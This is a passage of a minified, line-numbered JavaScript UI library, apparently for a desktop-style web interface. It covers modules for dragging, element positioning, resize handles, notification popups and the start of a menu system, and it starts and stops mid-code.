4322 document.elementFromPoint(n.x, n.y);
4323 for (var s in $.zone)
4324 if ($.zone.hasOwnProperty(s)) {
4325 var l = $.zone[s];
4326 l.drop && i.zone && (t = !0, l.drop(e, i.zone, i.elem))
4327 }
4328 return t
4329 }
4330
4331 function m(e) {
4332 if ($.ghost) document.body.appendChild(i.ghost);
4333 else {
4334 var t = getComputedStyle(i.elem, null);
4335 if (h = i.elem.offsetLeft - (parseInt(t.marginLeft) || 0), y = i.elem.offsetTop - (parseInt(t.marginTop) || 0), "absolute" === $.position || "fixed" === $.position) i.elem.style.position = "fixed" == t.position ? "fixed" : "absolute", i.elem.style.boxSizing = i.elem.style.webkitBoxSizing = i.elem.style.MozBoxSizing = "border-box", i.elem.style.height = i.elem.offsetHeight + "px", i.elem.style.width = i.elem.offsetWidth + "px", i.elem.style.left = h + "px", i.elem.style.top = y + "px";
4336 else {
4337 var n = parseInt(t.left) || 0,
4338 o = parseInt(t.top) || 0;
4339 $.constrain && (z = z - y + o, w = w - y + o, b = b - h + n, N = N - h + n), h = n, y = o, i.elem.style.position = "relative", i.elem.style.left = h + "px", i.elem.style.top = y + "px"
4340 }
4341 i.elem.classList.add("ui_is_dragging")
4342 }
4343 $.onstart.call(i.elem, e), i.isDragging = !0
4344 }
4345
4346 function g(n, l) {
4347 c(n), i.elem = l || (s ? this : e);
4348 var a = o(n);
4349 if (v = a.x, x = a.y, $.ghost) {
4350 i.ghost = i.createGhost(i.elem);
4351 var u = i.elem.getBoundingClientRect();
4352 h = u.left, y = u.top
4353 } else i.ghost = null, h = i.elem.offsetLeft, y = i.elem.offsetTop;
4354 i.initialPos.x = h, i.initialPos.y = y, r(n), t("mousemove", r), t("touchmove", r), t("mouseup", d), t("touchend", d), t("contextmenu", c), $.oninit.call(i.elem, n)
4355 }
4356
4357 function d(e) {
4358 if (n("mousemove", r), n("touchmove", r), n("mouseup", d), n("touchend", d), n("contextmenu", c), i.isDragging) {
4359 var t = !1;
4360 $.zone && i.elem && (t = u(e)), t || $.ondrop.call(i.elem, e), $.onstop.call(i.elem, e)
4361 }
4362 i.elem && i.elem.classList.remove("ui_is_dragging"), i.zone = null, i.elem = null, i.initialPos.x = null, i.initialPos.y = null, i.x = null, i.y = null, i.cfg = null, i.isDragging = !1
4363 }
4364
4365 function c(e) {
4366 document.activeElement.blur(), e.preventDefault()
4367 }
4368 if ("object" == typeof s && (l = s, s = null), "string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$drag : element missing");
4369 var f, p, y, h, v, x, z, b, T, E, L, P = {
4370 constrain: !1,
4371 ghost: !1,
4372 grid: !1,
4373 position: "absolute",
4374 handle: null,
4375 distance: 5,
4376 oninit: $noop,
4377 onstart: $noop,
4378 ondrag: $noop,
4379 onstop: $noop,
4380 ondrop: $noop
4381 },
4382 $ = $extend(P, l),
4383 w = 0,
4384 N = 0,
4385 D = s ? $delegate(s, g) : g;
4386 if ("function" == typeof $.ghost && Object.defineProperty($, "ghost", {
4387 get: function() {
4388 return l.ghost($)
4389 }
4390 }), "function" == typeof $.grid && Object.defineProperty($, "grid", {
4391 get: l.grid
4392 }), i.elem = e, i.zone = null, i.isDragging = !1, s) L = e, T = E = e;
4393 else
4394 for (L = $.handle || e, E = T = e.parentNode; E.parentNode && 9 !== E.parentNode.nodeType && "static" == window.getComputedStyle(T, null).position;) E = E.parentNode;
4395 return z = E.offsetHeight - e.offsetHeight - .5, b = E.offsetWidth - e.offsetWidth - .5, L.addEventListener("mousedown", D, !1), L.addEventListener("touchstart", D, !1), {
4396 destroy: function() {
4397 i.isDragging = !1, i.removeGhost(), d(), L.removeEventListener("mousedown", D, !1), L.removeEventListener("touchstart", D, !1)
4398 }
4399 }
4400}
4401i.createGhost = function(e, t) {
4402 e.classList.add("ui_is_dragging");
4403 var n = e.cloneNode(!0),
4404 o = n.getElementsByTagName("*"),
4405 i = e.getElementsByTagName("*");
4406 n.style.cssText = getComputedStyle(e, null).cssText;
4407 for (var s = 0, l = o.length; s < l; s++) o[s].style.cssText = getComputedStyle(i[s], null).cssText, o[s].style.pointerEvents = "none";
4408 return n.classList.add("js-ghost"), n.style.pointerEvents = "none", n.style.position = "fixed", n.style.zIndex = 9999, n.style.opacity = ".7", e.classList.remove("ui_is_dragging"), n
4409}, i.initialPos = {
4410 x: null,
4411 y: null
4412}, i.revert = function(e, t) {
4413 $transition.revert(i.ghost || i.elem, i.initialPos, function() {
4414 i.ghost && i.removeGhost()
4415 })
4416}, i.removeGhost = function() {
4417 i.ghost && i.ghost.parentNode && i.ghost.parentNode === document.body && document.body.removeChild(i.ghost), i.ghost = null
4418}, e.$drag = i
4419}(this),
4420function(e) {
4421"use strict";
4422
4423function t(e) {
4424 console.log(e)
4425}
4426var n = function() {
4427 var e, t = document.createElement("div"),
4428 n = ["Webkit", "Moz", "O", "ms"];
4429 if ("transition" in t.style) return "transition";
4430 for (e = 0; e < n.length; e++)
4431 if (n[e] + "Transition" in t.style) return n[e] + "Transition";
4432 return "transition"
4433}();
4434t.revert = function(e, t, o, i) {
4435 if (void 0 === i && (i = 300), e && null !== t.x) {
4436 var s = e.style[n];
4437 e.style[n] = "left " + i + "ms ease, top " + i + "ms ease", e.style.left = t.x + "px", e.style.top = t.y + "px", setTimeout(function() {
4438 e.style[n] = s, "function" == typeof o && o()
4439 }, i)
4440 }
4441}, e.$transition = t
4442}(this);
4443//js/ui/pos.js
4444! function(t) {
4445"use strict";
4446
4447function e(t, e, n) {
4448 return t = t.replace(/([a-z]+)([+-])?/g, function(t, e, o) {
4449 return ("top" == e ? "bottom" : "bottom" == e ? "top" : "right" == e ? "left" : "left" == e ? "right" : e) + ("+" == o ? "-" : "-" == o ? "+" : "")
4450 }), o(t, e, n)
4451}
4452
4453function o(t, e, o) {
4454 var n = o || {
4455 top: 0,
4456 left: 0
4457 },
4458 f = e.offsetHeight || 0,
4459 i = e.offsetWidth || 0;
4460 return t.replace(/(?:(right|left|center)(?:([+-])(\d+)(%)?)?)? ?(?:(top|bottom|center)(?:([+-])(\d+)(%)?)?)?/, function(t, e, o, l, r, p, s, a, u) {
4461 p || (p = "center"), e || (e = "center"), "right" == e && (n.left += i), "center" == e && (n.left += i / 2), "bottom" == p && (n.top += f), "center" == p && (n.top += f / 2), r && (l = i / 100 * +l), u && (a = f / 100 * +a), l && (n.left = n.left - +(o + l)), a && (n.top = n.top - +(s + a))
4462 }), n
4463}
4464
4465function n(t, n) {
4466 function f(t) {
4467 if (t || (t = d.of), 1 === t.nodeType) {
4468 var e = t.getBoundingClientRect();
4469 s = e.left, a = e.top
4470 } else t.preventDefault && (s = t.pageX, a = t.pageY);
4471 p(s, a, s, a)
4472 }
4473 if (!t) throw new Error("$pos: element is undefined");
4474 t.style.position = "fixed";
4475 for (var i = t.parentNode, l = window.getComputedStyle(i, null), r = {
4476 top: 0,
4477 left: 0
4478 }; i.parentNode && 9 !== i.parentNode.nodeType && "none" == l.transform && "none" == l.perspective;) i.getAttribute("data-ui-menu-scroller") && i, i = i.parentNode, l = window.getComputedStyle(i, null);
4479 r = i.getBoundingClientRect();
4480 var p, s, a, u = {
4481 my: "left top",
4482 at: "left bottom",
4483 of: {},
4484 collision: "flip",
4485 within: window,
4486 transform: !1,
4487 overflow: "none"
4488 },
4489 d = $extend(u, n),
4490 c = o(d.my, t),
4491 h = o(d.at, d.of),
4492 g = h.top - c.top - r.top,
4493 w = h.left - c.left - r.left,
4494 y = {
4495 x: 0,
4496 y: 0,
4497 h: 0,
4498 w: 0
4499 },
4500 m = {};
4501 $io.isWindow(d.within) || !d.within ? (y.h = window.innerHeight, y.w = window.innerWidth) : (m = d.within.getBoundingClientRect(), y.x = m.left, y.y = m.top, y.h = d.within.offsetHeight, y.w = d.within.offsetWidth), t.offsetHeight > y.h && function() {
4502 var e, o = d.of.getBoundingClientRect().top - y.y,
4503 n = y.h - o - d.of.offsetHeight;
4504 e = t.parentNode.isEqualNode(d.of) ? y.h : o > n ? o : n, t.style.height = e + "px", t.setAttribute("data-ui-menu-scroller", !0)
4505 }();
4506 var x = r.left == m.left ? 0 : m.left,
4507 v = r.top == m.top ? 0 : m.top,
4508 b = y.w - t.offsetWidth + x,
4509 C = y.h - t.offsetHeight + v;
4510 if (1 === d.of.nodeType) var T = window.getComputedStyle(d.of, null),
4511 H = T.transform || T.webkitTransform || T.MozTransform || T.msTransform;
4512 if (H && "none" != H) t.style.transformOrigin = T.transformOrigin, p = function() {
4513 var e, o, n, f;
4514 0 == r.left ? (e = m.left, o = m.top, n = w, f = g) : (e = 0, o = 0, n = w + m.left, f = g + m.top), t.style.left = d.of.offsetLeft + e + "px", t.style.top = d.of.offsetTop + o + "px", t.style.transform = H + " translateX(" + n + "px) translateY(" + f + "px)"
4515 };
4516 else if ("fit" == d.collision) p = function(e, o) {
4517 o += g, e = (e += w) > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4518 };
4519 else if ("flip" == d.collision || "flipfit" == d.collision) {
4520 var N = e(d.my, t),
4521 W = e(d.at, d.of),
4522 B = W.top - N.top - r.top,
4523 R = W.left - N.left - r.left;
4524 p = "flipfit" == d.collision ? function(e, o, n, f) {
4525 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), e = e > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4526 } : function(e, o, n, f) {
4527 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), t.style.left = e + "px", t.style.top = o + "px"
4528 }
4529 } else p = function(e, o) {
4530 t.style.left = e + w + "px", t.style.top = o + g + "px"
4531 };
4532 return f(d.of), {
4533 update: f
4534 }
4535}
4536t.$pos = n
4537}(this);
4538//js/ui/resize.js
4539! function(e) {
4540"use strict";
4541
4542function t(e, t) {
4543 document.documentElement.addEventListener(e, t, !1)
4544}
4545
4546function o(e, t) {
4547 document.documentElement.removeEventListener(e, t, !1)
4548}
4549
4550function n(e) {
4551 var t = e.changedTouches ? e.changedTouches[0] : null;
4552 return t ? {
4553 x: t.clientX,
4554 y: t.clientY
4555 } : {
4556 x: e.clientX,
4557 y: e.clientY
4558 }
4559}
4560
4561function s() {
4562 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].dataset.oldPointerEvents = e[t].style.pointerEvents, e[t].style.pointerEvents = "none"
4563}
4564
4565function r() {
4566 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].style.pointerEvents = e[t].dataset.oldPointerEvents, delete e[t].dataset.oldPointerEvents
4567}
4568
4569function i(e) {
4570 e.dataset.oldTransform = e.style.transitionDuration, e.style.transitionDuration = "0s"
4571}
4572
4573function l(e) {
4574 e.style.transitionDuration = e.dataset.oldTransform, delete e.dataset.oldTransform
4575}
4576
4577function u(e, u) {
4578 function y() {
4579 for (var e = 0, t = g.length; e < t; e++) g[e].destroy()
4580 }
4581 if ("string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$resize : element missing");
4582 if (!e.getAttribute("data-js-resize-init")) {
4583 e.setAttribute("data-js-resize-init", !0);
4584 for (var c = e.parentNode; c && c.parentNode && 9 !== c.parentNode.nodeType && "static" == window.getComputedStyle(c, null).position;) c = c.parentNode;
4585 "string" == typeof u && (u = {
4586 handles: u
4587 });
4588 var p = window.getComputedStyle(e, null),
4589 h = {
4590 handles: "e, s, se",
4591 onstart: a,
4592 onresize: a,
4593 onstop: a
4594 },
4595 f = $extend(h, u),
4596 m = "fixed" == p.position || "absolute" == p.position,
4597 v = e.getBoundingClientRect(),
4598 w = (v.top, v.left, []);
4599 "static" != p.position && "" != p.position || (e.style.position = "relative"), "all" == f.handles ? w = ["n", "w", "e", "s", "nw", "ne", "sw", "se"] : f.handles.replace(/([^,\s]+)/g, function(e, t) {
4600 w.push(t)
4601 });
4602 for (var g = [], x = 0, z = w.length; x < z; x++) g.push(function(e, u) {
4603 function a(e) {
4604 e.preventDefault(), e.stopPropagation(), c(e)
4605 }
4606
4607 function y(e) {
4608 e.preventDefault()
4609 }
4610
4611 function c(o) {
4612 var r = n(o);
4613 w = r.x, g = r.y, x = e.offsetWidth, z = e.offsetHeight, E = e.offsetTop, b = e.offsetLeft, t("mousemove", N), t("touchmove", N), t("mouseup", p), t("touchend", p), t("contextmenu", y), s(), i(e), document.documentElement.style.cursor = u + "-resize", f.onstart && f.onstart(e, o)
4614 }
4615
4616 function p(t) {
4617 document.documentElement.style.cursor = "auto", r(), l(e), o("mousemove", N), o("touchmove", N), o("mouseup", p), o("touchend", p), o("contextmenu", y), f.onstop && f.onstop(e, t)
4618 }
4619
4620 function h(t) {
4621 var o = n(t);
4622 if ("s" !== u && "se" !== u && "sw" !== u || (e.style.height = z + o.y - g + "px"), "e" !== u && "ne" !== u && "se" !== u || (e.style.width = x + o.x - w + "px"), "n" === u || "ne" === u || "nw" === u) {
4623 s = o.y - g;
4624 m && (e.style.top = E + s + "px"), e.style.height = z - s + "px"
4625 }
4626 if ("w" === u || "nw" === u || "sw" === u) {
4627 var s = o.x - w;
4628 m && (e.style.left = b + s + "px"), e.style.width = x - s + "px"
4629 }
4630 f.onresize && f.onresize(e, t)
4631 }
4632
4633 function v() {
4634 L.removeEventListener("mousedown", a, !1), L.removeEventListener("touchstart", a, !1), L.parentNode && L.parentNode.removeChild(L)
4635 }
4636 var w, g, x, z, E, b, N, L = d.cloneNode(),
4637 u = u || "s";
4638 try {
4639 N = $io.fn.throttle(h, 15)
4640 } catch (e) {
4641 N = h
4642 }
4643 return L.className = "js-resizer js-resizer-" + u, "n" == u ? (L.style.bottom = "auto", L.style.height = "6px", L.style.cursor = "n-resize") : "s" == u ? (L.style.top = "auto", L.style.height = "6px", L.style.cursor = "s-resize") : "e" == u ? (L.style.left = "auto", L.style.width = "6px", L.style.cursor = "e-resize") : "w" == u ? (L.style.right = "auto", L.style.width = "6px", L.style.cursor = "w-resize") : "nw" == u ? (L.style.bottom = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "nw-resize") : "ne" == u ? (L.style.bottom = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "ne-resize") : "sw" == u ? (L.style.top = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "sw-resize") : "se" == u && (L.style.top = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "se-resize"), e.appendChild(L), L.addEventListener("mousedown", a, !1), L.addEventListener("touchstart", a, !1), {
4644 destroy: v
4645 }
4646 }(e, w[x]));
4647 return {
4648 destroy: y
4649 }
4650 }
4651}
4652var a = e.$noop || function(e) {},
4653 d = document.createElement("div");
4654d.style.position = "absolute", d.style.zIndex = "999", d.style.top = "0", d.style.bottom = "0", d.style.left = "0", d.style.right = "0", d.style.pointerEvents = "auto", e.$resize = u
4655}(this);
4656//js/ui/notif.js
4657! function(e) {
4658"use strict";
4659
4660function t(e, t) {
4661 e.className = "ui_notif animated fadeOut", setTimeout(function() {
4662 e.parentNode && e.parentNode.removeChild(e)
4663 }, t ? 150 : 500)
4664}
4665
4666function n(e, n) {
4667 function o() {
4668 h = setTimeout(function() {
4669 t(c)
4670 }, v + 2e3)
4671 }
4672 "string" == typeof e && ("string" == typeof n ? (e = {
4673 title: e,
4674 text: n
4675 }, n = null) : e = {
4676 text: e
4677 });
4678 var a = $extend({}, i, e);
4679 n || (n = a.default);
4680 var l = a.dest;
4681 a.text = a.text || a.description || a.body || "";
4682 var u, s = n.getAttribute("data-js-notif-id");
4683 if (s) u = d[s];
4684 else {
4685 u = document.createElement("div"), l.appendChild(u), u.style.zIndex = 99999;
4686 m = n.getBoundingClientRect();
4687 u.style.position = "fixed", u.style.bottom = window.innerHeight - ~~(m.top + m.height / 2) + "px", u.style.right = window.innerWidth - ~~(m.left + m.width / 2) + "px", n.setAttribute("data-js-notif-id", d.push(u) - 1)
4688 }
4689 var c = document.createElement("div"),
4690 r = document.createElement("b"),
4691 m = document.createElement("p"),
4692 f = document.createElement("span");
4693 c.style.visibility = "hidden", c.className = "ui_notif", f.innerHTML = "×";
4694 var p = 0;
4695 a.title && (r.innerHTML = a.title, c.appendChild(r), p += a.title.length), m.innerHTML = a.text, p += a.text.length, c.appendChild(m), c.appendChild(f), f.onclick = function() {
4696 t(c, !0)
4697 }, !1 !== a.delay && (c.onmouseover = function() {
4698 clearTimeout(h)
4699 }, c.onmouseout = function() {
4700 o()
4701 }), setTimeout(function() {
4702 c.style.visibility = "visible", c.className = "ui_notif animated fadeIn"
4703 }, 100), u.appendChild(c), p /= 5;
4704 var h, v = a.speed || p / 3 * 1e3;
4705 !1 !== a.delay && o()
4706}
4707var i = {
4708 default: document.body,
4709 dest: document.body
4710 },
4711 d = [];
4712document.createElement("div");
4713n.config = function(e) {
4714 $extend(i, e)
4715}, e.$notif = n
4716}(this);
4717//js/ui/menu.js
4718! function(e) {
4719"use strict";
4720
4721function t(e) {
4722 e.setAttribute("aria-hidden", !1), e.setAttribute("aria-expanded", !0), e.classList.add("ui_menu--open")
4723}
4724
4725function i(e) {
4726 e.setAttribute("aria-hidden", !0), e.setAttribute("aria-expanded", !1), e.classList.remove("ui_menu--open")
4727}
4728
4729function n(e, n) {
4730 n.classList.contains("ui_menu--open") ? (i(n), e.classList.remove("ui_menu__item--focus")) : t(n)
4731}
4732
4733function o(e) {
4734 function t(i) {
4735 for (var n = i.target; n && n.id !== e;) n = n.parentNode;
4736 n || (r(), document.removeEventListener("mousedown", t, !0), y[e] = !1)
4737 }
4738 y[e] || (y[e] = !0, document.addEventListener("mousedown", t, !0))
4739}
4740
4741function r(e) {
4742 var t = !0;
4743 "select" === e && (t = !1, e = null);
4744 var n = (e || document).querySelectorAll(".ui_menu__item--focus"),
4745 o = (e || document).querySelectorAll(".ui_menu--open"),
4746 r = (e || document).querySelectorAll(".ui_menu--scroller");
4747 $io.arr.all(n, function(e) {
4748 L[e.parentNode.parentNode.id] = !1, e.classList.remove("ui_menu__item--focus")
4749 }), $io.arr.all(o, function(e) {
4750 i(e)
4751 }), $io.arr.all(r, function(e) {
4752 e.removeAttribute("style"), e.classList.remove("ui_menu--scroller"), e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.removeEventListener("mouseover", s, !1)
4753 }), e || (t && c.current && c.current.cfg && c.current.cfg.oncancel && c.current.cfg.oncancel(), c.current && c.current.cfg && c.current.cfg.onclose && c.current.cfg.onclose(), c.current = null)
4754}
4755
4756function s(e) {
4757 e.target.matches(".ui_menu__right_handler") ? this.classList.remove("ui_menu--scroller--active") : this.classList.add("ui_menu--scroller--active")
4758}
4759
4760function a(e) {
4761 e.addEventListener("mouseover", s, !1), e.querySelector(".ui_menu__up_handler").addEventListener("mouseover", s, !1)
4762}
4763
4764function u(e, t) {
4765 if (e.fireEvent) e.fireEvent("on" + t);
4766 else {
4767 var i = document.createEvent("Events");
4768 i.initEvent(t, !0, !1), e.dispatchEvent(i)
4769 }
4770}
4771
4772function c(e, s, u) {
4773 function h(e) {
4774 $io.obj.all(e, function(e) {
4775 e.key && (M[e.key] = function() {
4776 return e.action.apply(this, arguments)
4777 }), "function" != typeof e.items && h(e.items)
4778 })
4779 }
4780
4781 function b(e, t, n, o) {
4782 if (!1 === (n = "function" == typeof n ? n.call(t.thisArg) : n)) return !1;
4783 var r = document.createDocumentFragment(),
4784 s = l.cloneNode(!1),
4785 a = d.cloneNode(!1);
4786 if (s.appendChild(a), s.id = "ui_menu_" + f++, !n) return !1;
4787 for (var u = 0, c = n.length; u < c; u++)
4788 if (n[u] && !1 !== ("function" == typeof n[u].display ? n[u].display.call(t.thisArg) : n[u].display)) {
4789 var v = n[u],
4790 g = m.cloneNode(!1);
4791 if ("---" !== v.name) {
4792 g.id = "ui_menu__item_" + _++;
4793 var h = p.cloneNode(!1),
4794 L = document.createElement("span"),
4795 A = document.createElement("span"),
4796 x = null;
4797 if (A.className = "ui_menu__item__ico", void 0 !== v.radio ? (A.className = "ui_menu__item__ico ui_form-ico-radio", x = y(v.radio, g, v.action)) : !0 === v.checkbox && (A.className = "ui_menu__item__ico ui_form-ico-checkbox", x = E(g, v.action)), h.innerHTML = "string" == typeof v.name ? v.name : v, v.icon) {
4798 if (0 === v.icon.indexOf("."))(w = document.createElement("div")).className = "ui_menu__item__ico", v.icon.split(".").forEach(function(e) {
4799 w.classList.add(e)
4800 });
4801 else if (0 === v.icon.indexOf("<"))(w = document.createElement("div")).className = "ui_menu__item__ico", w.innerHTML = v.icon;
4802 else {
4803 var w = new Image;
4804 w.src = v.icon
4805 }
4806 A.appendChild(w)
4807 } else A.innerHTML = " ";
4808 if (g.appendChild(A), g.appendChild(h), v.key && (L.innerHTML = v.key.replace(/(\+|^)[a-z]/g, function(e) {
4809 return e.toUpperCase()
4810 }), L.className = "ui_menu__item__key", g.appendChild(L)), q[g.id] = {
4811 item: g,
4812 val: v,
4813 action: x || v.action
4814 }, N(e, g, v), v.items) {
4815 g.setAttribute("aria-haspopup", !0), g.classList.add("ui_menu__item--opener");
4816 var C = function(e, t, n, o) {
4817 return function() {
4818 var r = b(e, t, n.items, n);
4819 r || ((r = document.createElement("div")).innerHTML = '<ul><li class="ui_menu__item ui_menu__item--disabled"><em>No items...</em></ul></li>'), r.className = "ui_menu__submenu", !1 !== t.position && i(r), o.appendChild(r)
4820 }
4821 }(e, t, v, g);
4822 !0 === t.recursive ? C() : S[g.id] = C
4823 }
4824 r.appendChild(g)
4825 } else g.className = "ui_menu__separator", g.appendChild(document.createElement("hr")), r.appendChild(g)
4826 }
4827 return a.appendChild(r), s
4828 }
4829
4830 function y(e, t, i) {
4831 function n() {
4832 for (var n, o = j[e], r = 0, s = o.length; r < s; r++) o[r].setAttribute("data-menuitem-selected", !1), "function" != typeof(n = q[o[r].id].val).selected && (n.selected = !1);
4833 "function" != typeof(n = q[t.id].val).selected && (n.selected = !0), t.setAttribute("data-menuitem-selected", !0), i && i.call(this, n)
4834 }
4835 return j[e] ? j[e].push(t) : j[e] = [t], n
4836 }
4837
4838 function E(e, t) {
4839 function i() {
4840 var i = "true" === e.getAttribute("data-menuitem-selected");
4841 e.setAttribute("data-menuitem-selected", !i);
4842 var n = q[e.id].val;
4843 if ("function" != typeof n.selected && (n.selected = !i), t) return t.call(this, !i)
4844 }
4845 return i
4846 }
4847
4848 function N(e, t, i) {
4849 var n = "function" == typeof i.display ? i.display.call(X.thisArg) : i.display,
4850 o = "function" == typeof i.disabled ? i.disabled.call(X.thisArg) : i.disabled,
4851 r = "function" == typeof i.selected ? i.selected.call(X.thisArg) : i.selected;
4852 t.style.display = !1 === n ? "none" : "", o ? t.classList.add("ui_menu__item--disabled") : t.classList.remove("ui_menu__item--disabled"), t.setAttribute("data-menuitem-selected", r)
4853 }
4854
4855 function x(e) {
4856 for (var t in q)
4857 if (q.hasOwnProperty(t)) {
4858 var i = q[t];
4859 N(e, i.item, i.val)
4860 }
4861 }
4862
4863 function w(i) {
4864 if (i && (i.stopImmediatePropagation(), i.preventDefault()), !k.classList.contains("ui_menu--open")) {
4865 X.solo && r(), c.current = F, t(k), k.style.zIndex = $maxZ(".ui_menu, .ui_icon, .ui_window").num + 1;
4866 var n = {
4867 collision: "flip",
4868 of: X.position.of || e,
4869 within: X.position.within
4870 };
4871 X.position.my && (n.my = X.position.my), X.position.at && (n.at = X.position.at), R = $pos(k, n), k.getAttribute("data-ui-menu-scroller") && C(k), o(k.id)
4872 }
4873 }
4874
4875 function C(e) {
4876 function t() {
4877 0 === e.scrollTop ? i.disabled = !0 : i.disabled = !1, e.scrollHeight - e.scrollTop === e.clientHeight ? n.disabled = !0 : n.disabled = !1
4878 }
4879 var i, n, o, r;
4880 if (e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.classList.add("ui_menu--scroller"), 1 == e.childNodes.length) {
4881 i = document.createElement("button"), n = document.createElement("button"), o = document.createElement("div"), i.className = "ui_menu__up_handler", n.className = "ui_menu__down_handler", o.className = "ui_menu__right_handler";
4882 var s = e.firstChild.offsetWidth;
4883 i.style.width = n.style.width = s + "px", e.appendChild(i), e.appendChild(n), e.appendChild(o), r = e.getBoundingClientRect(), i.style.top = r.top + "px", n.style.bottom = window.innerHeight - e.offsetHeight - r.top + "px", o.style.left = r.left + s + "px", i.onclick = function() {
4884 e.scrollTop -= 80, t()
4885 }, n.onclick = function() {
4886 e.scrollTop += 80, t()
4887 }, e.onscroll = function() {
4888 t()
4889 }, t()
4890 }
4891 a(e)
4892 }
4893
4894 function $(e) {
4895 for (var i = e.target; i && "LI" !== i.tagName;) i = i.parentNode;
4896 i && (!1 !== X.position && i.classList.contains("ui_menu__item--focus") || i.classList.contains("ui_menu__item--disabled") || $io.arr.each(i.parentNode.childNodes, function(s) {
4897 if (s.id == i.id) {
4898 if (X.closeOthers && r(s), "bar" == X.mode && !L[k.id] && i.parentNode.parentNode.id == k.id) return;
4899 if (s.classList.add("ui_menu__item--focus"), s.classList.contains("ui_menu__item--opener") && !s.classList.contains("ui_menu__item--disabled")) {
4900 S[i.id] && S[i.id]();
4901 var a = s.lastChild;
4902 if (!1 === X.position) n(s, a);
4903 else {
4904 a.style.position = "fixed", t(a);
4905 var u = "bar" == X.mode && i.parentNode.parentNode.id == k.id;
4906 if ($pos(a, {
4907 my: "left top-1",
4908 at: u ? "left bottom" : "right top",
4909 of: s,
4910 collision: "flipfit",
4911 within: X.position.within || window
4912 }), a.getAttribute("data-ui-menu-scroller") && C(a), X.aim) {
4913 var c = a.getBoundingClientRect();
4914 u ? e.pageY < c.bottom ? v(s, e.pageX, e.pageY, c.left, c.top, c.right, c.top) : v(s, e.pageX, e.pageY, c.left, c.bottom, c.right, c.bottom) : e.pageX < c.left ? v(s, e.pageX, e.pageY, c.left, c.top, c.left, c.bottom) : v(s, e.pageX, e.pageY, c.right, c.top, c.right, c.bottom)
4915 }
4916 o(k.id)
4917 }
4918 } else g(!0)
4919 } else X.closeOthers && (s.classList.remove("ui_menu__item--focus"), r(s))
4920 }))
4921 }
4922
4923 function T(e) {
4924 var t = this;
4925 if ("bar" == X.mode && (L[k.id] ? (L[k.id] = !1, r()) : (L[k.id] = !0, $(e))), !t.classList.contains("ui_menu__item--disabled")) {
4926 var i = q[t.id].action,
4927 n = typeof i;
4928 !Y || "string" != n && "function" != n || (P.innerHTML = "function" == n ? i.call(X.thisArg) : i, r()), "function" == n && !1 !== i.call(X.thisArg, e, q[t.id].val) && r("select")
4929 }
4930 }
4931 $io.isElement(e) || (u = s || {}, s = e, e = document.createElement("div")), s || (s = []);
4932 var k, H = "tree" === u.mode ? $extend({}, A, {
4933 closeOthers: !1,
4934 trigger: "click",
4935 position: !1
4936 }) : "bar" === u.mode ? $extend({}, A, {}) : A,
4937 X = $extend({}, H, u),
4938 Y = !1,
4939 O = !1,
4940 S = {},
4941 q = {};
4942 "tabs" === X.mode && (Y = !0, X.mode = "bar"), "context" === X.mode && (O = !0, X.mode = "popup"), X.thisArg || (X.thisArg = e);
4943 var M = {};
4944 h(s);
4945 var I, z = $key(X.keyTarget || e).config({
4946 thisArg: X.thisArg,
4947 uniqueCombo: !0
4948 }).combo(M);
4949 if (X.key) {
4950 var B = {};
4951 B[X.key] = function() {
4952 w()
4953 }, I = $key().combo(B)
4954 }
4955 e.classList.add("ui_menu_trigger"), (k = b(e, X, s)).className = "ui_menu ui_menu--" + ("inline" === X.mode || "popup" === X.mode ? "menu" : X.mode), k.setAttribute("tabindex", "0"), k.style.zIndex = $maxZ(".ui_menu", k.parentNode).num + 1;
4956 var P;
4957 "popup" !== X.mode ? Y ? (e.appendChild(k), X.dest ? P = X.dest : ((P = document.createElement("div")).className = "ui_menu--tabs__content", e.appendChild(P))) : e.appendChild(k) : (document.body.appendChild(k), k.classList.add("ui_menu--popup"), i(k), O ? e.addEventListener("contextmenu", w, !1) : "auto" === X.trigger ? w() : X.trigger && e.addEventListener("click", w, !1));
4958 var R, j = {},
4959 D = "auto" == X.trigger ? "mouseover" : X.trigger;
4960 D || (D = "mouseover"), k.addEventListener(D, $, !1), k.onfocus = function(e) {
4961 var t = k.querySelector(".ui_menu__item");
4962 T.call(t, {
4963 target: t
4964 })
4965 }, L[k.id] = !1, k.onblur = function(e) {
4966 r()
4967 }, $el(k).on("click", ".ui_menu__item", T);
4968 var F = {
4969 cfg: X,
4970 destroy: function() {
4971 $el(k).off("click", ".ui_menu__item", T), k.removeEventListener(D, $, !1), S = null, q = null, z && z.destroy && z.destroy(), I && I.destroy && I.destroy()
4972 },
4973 refresh: function(e) {
4974 e && (X.thisArg = e), x(X.thisArg)
4975 },
4976 show: function(e, t) {
4977 e && (X.thisArg = e, z.config({
4978 thisArg: e
4979 }), x(e)), t && (X.position = t), w()
4980 },
4981 setThisArg: function(e) {
4982 e && (X.thisArg = e, x(e))
4983 },
4984 key: z,
4985 position: R
4986 };
4987 return F
4988}
4989var l = document.createElement("div"),
4990 d = document.createElement("ul"),
4991 m = document.createElement("li"),
4992 p = document.createElement("span"),
4993 f = 0,
4994 _ = 0;
4995d.setAttribute("role", "menu"), m.setAttribute("role", "menuitem"), m.setAttribute("tabindex", "-1"), m.className = "ui_menu__item", p.className = "ui_menu__item__text";
4996var v, g, h, b, y = {},
4997 L = {};
4998! function() {
4999 function e() {
5000 clearTimeout(a), a = setTimeout(function() {
5001 o("fromTriangle")
5002 }, 100)
5003 }
5004
5005 function t(e, t) {
5006 if (f === y) return m < f ? f - e <= f - c : f - e >= f - c
5007 }
5008
5009 function i() {
